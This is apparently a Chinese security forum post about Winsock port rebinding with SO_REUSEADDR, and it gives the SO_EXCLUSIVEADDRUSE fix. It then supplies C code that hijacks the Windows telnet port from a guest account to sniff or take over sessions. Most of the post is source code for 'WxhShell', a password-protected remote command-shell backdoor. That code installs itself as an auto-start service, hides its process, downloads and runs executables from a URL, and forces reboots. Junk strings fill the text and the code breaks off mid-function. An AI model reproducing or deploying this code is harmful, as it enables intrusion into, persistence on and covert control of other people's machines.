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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Q~#Wf ?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Hx?;fl'G%  
pOIJH =#  
  saddr.sin_family = AF_INET; , s"^kFl  
5Odhb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0Qf,@^zL*  
Po^?QVJ7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); QTk}h_<u  
VY7[)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 AP 2_MV4W  
*nkoPVpC  
  这意味着什么?意味着可以进行如下的攻击: -lY6|79bF  
nksLWfpG?B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '-Vt|O_Q  
k_rt&}e+Gi  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A P?R"%  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *0Skd  
52Z2]T c ,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (x;@%:3j$  
 iu=7O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8;RUf~q?  
=O5pY9UO  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #A JDWelD  
(R=:X+ k  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V^bwXr4f  
];[}:f  
  #include 3M[! N  
  #include *av<E  
  #include z!ZtzD]cb  
  #include    <lPm1/8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   61C7.EZZ;  
  int main() \/r}]Vz  
  { =(j1rW!  
  WORD wVersionRequested; $w`x vX  
  DWORD ret; [ )Iv^ U9  
  WSADATA wsaData; -P$PAg5"2  
  BOOL val; $]/{[@5  
  SOCKADDR_IN saddr; %S960  
  SOCKADDR_IN scaddr; & p  
  int err; qd ~BnR$=  
  SOCKET s; X:"i4i[}{9  
  SOCKET sc; w e//|fA<  
  int caddsize; q_[o" wq/  
  HANDLE mt; 3)<yod=  
  DWORD tid;   V(I8=rVH  
  wVersionRequested = MAKEWORD( 2, 2 ); {#vgtgBB  
  err = WSAStartup( wVersionRequested, &wsaData ); C_}]`[  
  if ( err != 0 ) { KxJ!,F{>H  
  printf("error!WSAStartup failed!\n"); Uiw2oi&_  
  return -1; {BN#h[#B{  
  } :%=Xm   
  saddr.sin_family = AF_INET; ,q`\\d  
   <`=j^LU  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I3L<[-ZE  
2`K=Hby  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _`j7clEz  
  saddr.sin_port = htons(23); lfow1WRF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IVY]EkEG~  
  { 2*& ^v  
  printf("error!socket failed!\n"); &jJL"gq"  
  return -1; rpha!h>w1%  
  } AO4U}?  
  val = TRUE; +5*95-;0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 q6luUx,@m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D%pF;XY  
  { D#C~pdp  
  printf("error!setsockopt failed!\n"); iOghb*aW  
  return -1; 0Th&iA4  
  } k1~&x$G  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )qw&%sO +  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C ;W"wBz9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A}9`S6@@  
~q.F<6O  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }o(-=lF  
  { ?);v`]  
  ret=GetLastError(); oLeq!K}re  
  printf("error!bind failed!\n"); `*R:gE=  
  return -1; 77f9(~ZnT  
  } BX7kO0j  
  listen(s,2); 013x8!i  
  while(1) zTSTEOP}%Y  
  { AQvudx)@"  
  caddsize = sizeof(scaddr); K+3=tk]W9u  
  //接受连接请求 jV1.Yz (`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^\=`edN0  
  if(sc!=INVALID_SOCKET) \Gvm9M  
  { [RhO$c$[\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kn 4`Fa;)O  
  if(mt==NULL) ;N0XFjdR  
  { '-~~-}= sJ  
  printf("Thread Creat Failed!\n"); ,#9PxwrO  
  break; z Rr*7G  
  } m-#2n? z-  
  } _Y;W0Z  
  CloseHandle(mt); JK5gQ3C[  
  } Wh*uaad7  
  closesocket(s); VpDbHAg  
  WSACleanup(); BQMpHSJ_  
  return 0; T(Eugl"  
  }   ?Z/V~,  
  DWORD WINAPI ClientThread(LPVOID lpParam) E ~<JC"]  
  { 1oGw4kD^x  
  SOCKET ss = (SOCKET)lpParam; `d}2O%P  
  SOCKET sc; jQB9j  
  unsigned char buf[4096]; BRiE&GzrF  
  SOCKADDR_IN saddr; lt8|9"9<  
  long num; 64tvP^kp  
  DWORD val; u^  ~W+  
  DWORD ret; Ad_h K O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 r;N|)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   eng'X-x  
  saddr.sin_family = AF_INET; [{,1=AB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m9rp8r*e  
  saddr.sin_port = htons(23); 0@oJFJrO  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $xN|5;+  
  { Y$@?.)tY  
  printf("error!socket failed!\n"); X'iWJ8  
  return -1; }BP;1y6-r  
  } (9dl(QSd  
  val = 100; ]c'A%:f<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i9x+A/ o[  
  { >z@0.pN]7  
  ret = GetLastError(); _oeS Uzq.  
  return -1; oOFVb5qoFU  
  } Cw&KVw*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \'O"~W  
  { IH+|}z4N?>  
  ret = GetLastError(); 0o&5 ]lEe  
  return -1; =rdV ]{Wc  
  } l*G[!u  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j0q&&9/Jj  
  { o }m3y  
  printf("error!socket connect failed!\n"); cw <l{A  
  closesocket(sc); nX8v+:&}  
  closesocket(ss); j#4kY R{  
  return -1; c7H^$_^=  
  } u=e{]Ax#}  
  while(1) KMax$  
  { 0w7DsPdS  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 O;3>sLgc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pd$[8Rmj_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "\yT7?},  
  num = recv(ss,buf,4096,0); 6_B]MN!(  
  if(num>0) VUuE T  
  send(sc,buf,num,0); 8 L Cb+^  
  else if(num==0) #GFr`o0$^  
  break; E!F^H^~$8  
  num = recv(sc,buf,4096,0); -mh3DhJ,  
  if(num>0) #AY&BWS$  
  send(ss,buf,num,0); RxQ*  
  else if(num==0) \Vk:93OH21  
  break; ;n;p@Uu[ b  
  } |DwZ{(R"W  
  closesocket(ss); 8eRLy/`gd  
  closesocket(sc); #O&8A  
  return 0 ; \{NO?%s0p  
  } B33\?Yj)  
rvM{M/4  
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========================================================== F"mmLao  
A@u@ift  
下边附上一个代码,,WXhSHELL !()Qm,1u  
NxILRKwO  
========================================================== |V(0GB  
\b>] 8Un"  
#include "stdafx.h" E?@m?@*/  
7}mFL*  
#include <stdio.h> Ho]su?  
#include <string.h> ),!qTjD  
#include <windows.h> !<h)w#>en  
#include <winsock2.h> ugBCBr  
#include <winsvc.h> 7|H$ /]  
#include <urlmon.h> G+m }MOQP7  
xYB{;K  
#pragma comment (lib, "Ws2_32.lib") W%Fv p;\`  
#pragma comment (lib, "urlmon.lib") 1.>m@Slr>  
.]K%G\*`:  
#define MAX_USER   100 // 最大客户端连接数 qxj(p o  
#define BUF_SOCK   200 // sock buffer uw8f ~:LT  
#define KEY_BUFF   255 // 输入 buffer V.2_i*  
]_$[8#kg  
#define REBOOT     0   // 重启 FGkVqZ Y2?  
#define SHUTDOWN   1   // 关机 & nK<:^n  
dF2RH)Ud  
#define DEF_PORT   5000 // 监听端口 I`#JwMU;m  
ss-D(K"  
#define REG_LEN     16   // 注册表键长度 S8gs-gL#Og  
#define SVC_LEN     80   // NT服务名长度 8b=_Y;  
LH6 vLuf  
// 从dll定义API D&zle~" J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >R=|Wo`Ri  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T]$U""  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |f##5fB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `y0FY&y=  
WF"k[2  
// wxhshell配置信息 ,u!sjx  
struct WSCFG { ;wD)hNLAvR  
  int ws_port;         // 监听端口 wA.\i  
  char ws_passstr[REG_LEN]; // 口令 yLcE X  
  int ws_autoins;       // 安装标记, 1=yes 0=no dqAw5[qMJ  
  char ws_regname[REG_LEN]; // 注册表键名 Ap !lQ>p  
  char ws_svcname[REG_LEN]; // 服务名 {>;R?TG]$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H)&R=s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %>s |j'{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }1xo-mUg,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?%kV?eu'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N uI9iU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I 2DpRMy  
H[|~/0?K  
}; $ulOp;~A%  
B1Oq!k  
// default Wxhshell configuration <\FH fE  
struct WSCFG wscfg={DEF_PORT, LHmZxi?  
    "xuhuanlingzhe", ^}C\zW  
    1, F5#YOck&,  
    "Wxhshell", Ct|A:/z(  
    "Wxhshell", 2BobH_ H  
            "WxhShell Service", -{_PuJ "  
    "Wrsky Windows CmdShell Service", !%>7Dw(kt  
    "Please Input Your Password: ", j~QwV='S  
  1, J. @9zA&  
  "http://www.wrsky.com/wxhshell.exe", "*H`HRi4T  
  "Wxhshell.exe" |D.ND%K&  
    }; u]gxFG "   
p<;0g9,1  
// 消息定义模块 {y;n:^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Xry4 7a )  
char *msg_ws_prompt="\n\r? for help\n\r#>"; . [ mR M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G#1GXFDO{  
char *msg_ws_ext="\n\rExit."; ]:\dPw`A  
char *msg_ws_end="\n\rQuit."; v.ui!|c  
char *msg_ws_boot="\n\rReboot..."; E~:x(5'%d  
char *msg_ws_poff="\n\rShutdown..."; &VcV$8k  
char *msg_ws_down="\n\rSave to "; Q3SS/eNP  
Tb-F]lg$  
char *msg_ws_err="\n\rErr!"; w`=\5Oa.G  
char *msg_ws_ok="\n\rOK!";  7[wieYj{  
>"<Wjr8W!$  
char ExeFile[MAX_PATH]; 3D(0=$ W  
int nUser = 0;  RX5dO%  
HANDLE handles[MAX_USER]; e0 T\tc  
int OsIsNt; 4'Zp-k?5`  
zv"Z DRW  
SERVICE_STATUS       serviceStatus; DFTyMB1H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; as_PoCoss  
C'X!\}f.b/  
// 函数声明 ;({W#Wa  
int Install(void); I!?}jo3  
int Uninstall(void); /H==Hm/  
int DownloadFile(char *sURL, SOCKET wsh); GM<-&s!Uj  
int Boot(int flag); 7\q~%lDE  
void HideProc(void); &8 x-o,  
int GetOsVer(void); {.\TtE  
int Wxhshell(SOCKET wsl); !0cD$^7  
void TalkWithClient(void *cs); m9Hit8f@Q  
int CmdShell(SOCKET sock); XSl GE9]AG  
int StartFromService(void); >e"#'K0?\  
int StartWxhshell(LPSTR lpCmdLine); RdML3E  
?S$P9^ii'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "FKOaQ%IH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '6Q =#:mc\  
&9)\wnOS  
// 数据结构和表定义 0_t`%l=  
SERVICE_TABLE_ENTRY DispatchTable[] = ZJ[ ??=Gz  
{ Y.r+wc]  
{wscfg.ws_svcname, NTServiceMain}, xK\d4 "  
{NULL, NULL} 'X2POay1  
}; \} :PLCKT  
&IB|rw'9  
// 自我安装 tC9n k5~  
int Install(void) igR";OQk  
{ 2('HvH]k  
  char svExeFile[MAX_PATH]; J S_]FsxD  
  HKEY key; 5N&?KA-  
  strcpy(svExeFile,ExeFile); xX4N4vb  
Eg3q!J&Z  
// 如果是win9x系统,修改注册表设为自启动 `lt"[K<  
if(!OsIsNt) { $'hEz/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~O &:C{9=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =$Nq   
  RegCloseKey(key); V% 6I\G2/:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nK%LRcAs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uGEfIy 2  
  RegCloseKey(key); ~1vDV>dpE  
  return 0; ,>mrPtxN  
    } EA]U50L(  
  } ` v@m-j6  
} b 7?hI  
else { @7j AL-  
DX K?Cv71z  
// 如果是NT以上系统,安装为系统服务 ByNn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I75DUJqy]  
if (schSCManager!=0) h'&%>Q2  
{ 8&`LYdzt  
  SC_HANDLE schService = CreateService i5Yb`Z[Y  
  ( SmSH2m-  
  schSCManager, D2B%0sfl~  
  wscfg.ws_svcname, X=fYWj[H,  
  wscfg.ws_svcdisp, ;P%1j|7  
  SERVICE_ALL_ACCESS, !58@pLJw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {go;C}  
  SERVICE_AUTO_START, iN8zo:&Z  
  SERVICE_ERROR_NORMAL, MJ [m  
  svExeFile, ]{mPh\  
  NULL, 9c,'k#k  
  NULL, dufu|BL|}  
  NULL, (b-MMr  
  NULL, EC!02S  
  NULL Hp!-248S  
  ); HjD8u`qQ  
  if (schService!=0) ryUQU^v  
  { DJ [#5h5  
  CloseServiceHandle(schService); Ep3N&Imp  
  CloseServiceHandle(schSCManager); Y}|X|!0x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^sEYOX\  
  strcat(svExeFile,wscfg.ws_svcname); `1{ZqRFQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZWU)\}}_R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !_D0vI;  
  RegCloseKey(key); gANuBWh8T  
  return 0; {|_M # w~&  
    } ?2{Gn-{  
  } <~'"<HwtK  
  CloseServiceHandle(schSCManager); s.N/2F& *W  
} J1RJ*mo7,  
} j2.|ln"!  
FvXZ<(A{  
return 1; ]kRfB:4ED  
} Ln<`E|[29  
}mq6]ZrK  
// 自我卸载 e~[/i\  
int Uninstall(void) a#y;dK  
{ [-k  
  HKEY key; bvr^zH,C  
2 %@4]  
if(!OsIsNt) { }c`"_L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *,8^@(th  
  RegDeleteValue(key,wscfg.ws_regname); G"U9E5O  
  RegCloseKey(key); )c83/= <v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kmsb hYM)  
  RegDeleteValue(key,wscfg.ws_regname); q?oP?cCw  
  RegCloseKey(key); NI}yVV  
  return 0; [.'|_l  
  } QP^Cx=  
} bv9i*]  
} (vPN5F  
else { 6?mibvK  
z Rl3KjET  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p7VTa~\zA  
if (schSCManager!=0) qL&[K>2z  
{ W5lR0)~#*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ox>^>wR*  
  if (schService!=0) c~$)UND^  
  { fc%xS7&  
  if(DeleteService(schService)!=0) { *:YiimOY"  
  CloseServiceHandle(schService); ?'#` nx(!  
  CloseServiceHandle(schSCManager); oMD>Yw c-  
  return 0; $L>@Ed<  
  } |`Ntv }  
  CloseServiceHandle(schService); HU }7zK2  
  } 1N^[.=  
  CloseServiceHandle(schSCManager); -p&" y3<p  
} .hP D$o  
} a| x.C6P e  
wd^':  
return 1; |zNX=mAV  
} /W30~y  
*@r/5pM2}  
// 从指定url下载文件 ,I$`-$_'  
int DownloadFile(char *sURL, SOCKET wsh) M~#gRAUJ  
{ ygS;$2m%2  
  HRESULT hr; nFg~< $d  
char seps[]= "/"; <#y[gTJ<'>  
char *token; '&R2U_  
char *file; [0[i5'K:  
char myURL[MAX_PATH]; A*R^n}sh  
char myFILE[MAX_PATH]; }b"yU#`Q\  
}wjw:M  
strcpy(myURL,sURL); D|L9Vs`  
  token=strtok(myURL,seps); vq0Tk bzs  
  while(token!=NULL) ksqQM  
  { r1m]HFN  
    file=token; qQ/^@3tXL  
  token=strtok(NULL,seps); 4 Y9`IgQ  
  } :&rt)/I  
|=ba9&q  
GetCurrentDirectory(MAX_PATH,myFILE); m6K}|j  
strcat(myFILE, "\\"); j'<<4.(  
strcat(myFILE, file); (sTpmQx,b  
  send(wsh,myFILE,strlen(myFILE),0); [{,T.;'<j  
send(wsh,"...",3,0); GPv1fearl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q&ptc>{bH6  
  if(hr==S_OK) vHc%z$-d  
return 0; =sU<S,a*  
else c(m<h+ 2VL  
return 1; $q{!5-e  
q[ZTHd.-  
} xY8$I6  
z}9(x.I  
// 系统电源模块 I)6+6pm  
int Boot(int flag) 7\[@ m3s  
{ [z\$?VJspQ  
  HANDLE hToken; t%FwXaO#  
  TOKEN_PRIVILEGES tkp; ^4hO  
beGa#JH,  
  if(OsIsNt) { uc\Kg1{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *?>T,gx}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [`[|l  
    tkp.PrivilegeCount = 1; TnA-;Ha  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^j7Vt2-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RFcv^Xf  
if(flag==REBOOT) { |4z IfAO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ) 7@ `ut  
  return 0; rJT a  
} `r':by0M  
else { /NFj(+&g+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aCj&O:]=  
  return 0; +Q)XH>jh   
} n\D&!y[]F  
  } ~&{S<Wl  
  else { "| g>'wM*  
if(flag==REBOOT) { =zPCrEk0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E_wCN&`[  
  return 0; iB yf{I>+  
} y9GoPC`z  
else {  KC6.Fr{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5d^sA;c  
  return 0; N!=v4f  
} Y =I'czg  
} Tv=mgH=b  
n'LrQU  
return 1; lNh70G8^p  
} sb*G!8j  
"m8^zg hL  
// win9x进程隐藏模块 q~o<*W   
void HideProc(void) tw/dD +  
{ m dg8,n  
()?(I?II  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FVbb2Y?R  
  if ( hKernel != NULL ) `HSKQ52  
  { M FMs[+2_o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [ l??A3G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xm~`7~nFR  
    FreeLibrary(hKernel); 4E+e}\r:6  
  } 4k1xy##  
pYEMmZ?L  
return; Q&tG4f<  
} my1@41 H  
ML 9' |  
// 获取操作系统版本 cqkV9f8Ro  
int GetOsVer(void) JPHL#sKyz  
{ R) h#Vc(  
  OSVERSIONINFO winfo; | YWD8 +  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _;y9$"A  
  GetVersionEx(&winfo); {S)6;|ua'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Bk c4TO  
  return 1; fTec  
  else  8dA~\a  
  return 0; eo?bL$A[s  
} (5YM?QAd  
^{`exCwM x  
// 客户端句柄模块 T'9'G M  
int Wxhshell(SOCKET wsl) 5C ]x!>kX  
{ ? OM!+O  
  SOCKET wsh; ADzhNf S  
  struct sockaddr_in client; PC8Q"O  
  DWORD myID; >tr}|>  
U7F!Z( 9  
  while(nUser<MAX_USER) /,yd+wcW#  
{ LH% F 8  
  int nSize=sizeof(client); bAqA1y3=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [9L:),&u  
  if(wsh==INVALID_SOCKET) return 1; 2/^3WY1U  
b8UO,fY q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k4;7<j$ir  
if(handles[nUser]==0) (L&d!$,Dv  
  closesocket(wsh); "KpGlY?^  
else =dKtV.L  
  nUser++; va@Lz&sAE%  
  } n_A3#d<9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ti5-6%~&  
1Pu~X \sO  
  return 0; 6cXyJW  
} CA~-rv  
,f>k%_U}  
// 关闭 socket _Fl9>C"u  
void CloseIt(SOCKET wsh) Vc Z3 X4/  
{ $U~]=.n  
closesocket(wsh); 0GeTS Fj  
nUser--; 7{*>agQh  
ExitThread(0); #*Ctwl,T  
} f ;n3&e0eC  
F]&*o w  
// 客户端请求句柄 (!WD1w   
void TalkWithClient(void *cs) H.MI5O(Q  
{ ~]2K ^bh8&  
f-Z/t fC  
  SOCKET wsh=(SOCKET)cs; }|=|s f  
  char pwd[SVC_LEN]; R\[e!g*I  
  char cmd[KEY_BUFF]; iH@UTE;  
char chr[1]; Km$\:Xo  
int i,j; i XjM.G  
NzvXN1_%  
  while (nUser < MAX_USER) {  @q) d  
(sZ"iGn%  
if(wscfg.ws_passstr) { 8":Q)9;%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mC#>33{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WpvhTX  
  //ZeroMemory(pwd,KEY_BUFF); ]Y&VT7+Z  
      i=0; &oMh]Z*:  
  while(i<SVC_LEN) { f/?P514h  
ef4 i:.  
  // 设置超时 S_H+WfIHV'  
  fd_set FdRead; p!%pP}I  
  struct timeval TimeOut; %xLh Z\  
  FD_ZERO(&FdRead); `R^gU]Z,  
  FD_SET(wsh,&FdRead); QMm%@zH  
  TimeOut.tv_sec=8; iy.\=Cs$N  
  TimeOut.tv_usec=0; X:{!n({r=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F#E3q|Q"BS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !&E-}}<  
I> $&-i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8z\xrY  
  pwd=chr[0]; >H ,*H;6  
  if(chr[0]==0xd || chr[0]==0xa) { $*m-R*kt  
  pwd=0; qH_Dc=~la  
  break; WNc0W>*NE1  
  } BZ^}J!Q'*  
  i++; .=; ;  
    } BMf@M  
dj%!I:Q>u  
  // 如果是非法用户,关闭 socket M',?u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X@FN|Rdh  
} _)-o1`*-  
*VN6cSq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dAj$1Ke  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Eh4= ZEX  
gBD]}vo-  
while(1) { <OPArht  
V(*(F7+  
  ZeroMemory(cmd,KEY_BUFF); g9F?z2^  
ddR>7d}N  
      // 自动支持客户端 telnet标准   ybUaTD@?}b  
  j=0; 9N3eN  
  while(j<KEY_BUFF) { 5@W j>:w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x,Vr=FB  
  cmd[j]=chr[0]; / XIhj  
  if(chr[0]==0xa || chr[0]==0xd) { =g|FT  
  cmd[j]=0; bZV/l4TU  
  break; a' IdYW0  
  } :BT q!>s  
  j++; { (}By/_  
    } m l$o5&sN  
?bu>r=oIO]  
  // 下载文件 Wm5 dk9&x  
  if(strstr(cmd,"http://")) { HpnWo DM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vr^qWn  
  if(DownloadFile(cmd,wsh)) Du){rVY^d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J$v?T$LVw  
  else igAtRX%Qx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W@!S%Y9  
  } @s^-.z  
  else {  8dyg1F  
@\I#^X5lv  
    switch(cmd[0]) { 0SPk|kr  
  *uvQ\.  
  // 帮助 _<2E"PrT   
  case '?': { :eLVC7'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 29q _BR *:  
    break; 5*D/%]YsD  
  } dC4'{ n|7  
  // 安装 01o4Th m  
  case 'i': { &iVs0R  
    if(Install()) ws^ np  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7v_8_K  
    else Zj4Uak  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A. w:h;7  
    break; dAe')N:KPI  
    } 4nz35BLr  
  // 卸载 y18Y:)DkL  
  case 'r': { C"]^Q)aJN  
    if(Uninstall()) P L+sR3bR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r!{Up7uL  
    else /|#fejPh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dGTsc/$  
    break; Fea(zJ_  
    } -s'-eQF J  
  // 显示 wxhshell 所在路径 W'TaBuCb  
  case 'p': { <_KIK  
    char svExeFile[MAX_PATH]; 9 JK Ew  
    strcpy(svExeFile,"\n\r"); $, fX:x  
      strcat(svExeFile,ExeFile); eQvg7aO;  
        send(wsh,svExeFile,strlen(svExeFile),0); O%HHYV%[m  
    break; Jqi%|,/]N  
    } ##4HYQ%E  
  // 重启 0'o:#-  
  case 'b': { -RK- Fu<e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8kDp_s i  
    if(Boot(REBOOT)) XHGFf_kW_N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^L&iR0  
    else { F^fdIZx  
    closesocket(wsh); _2 osV[e  
    ExitThread(0); <yg F(  
    } `n?DU;,  
    break; 57'4ljvYi  
    } =rX>1  
  // 关机 yyy|Pw4:Z  
  case 'd': { )TM4R)r%)9  
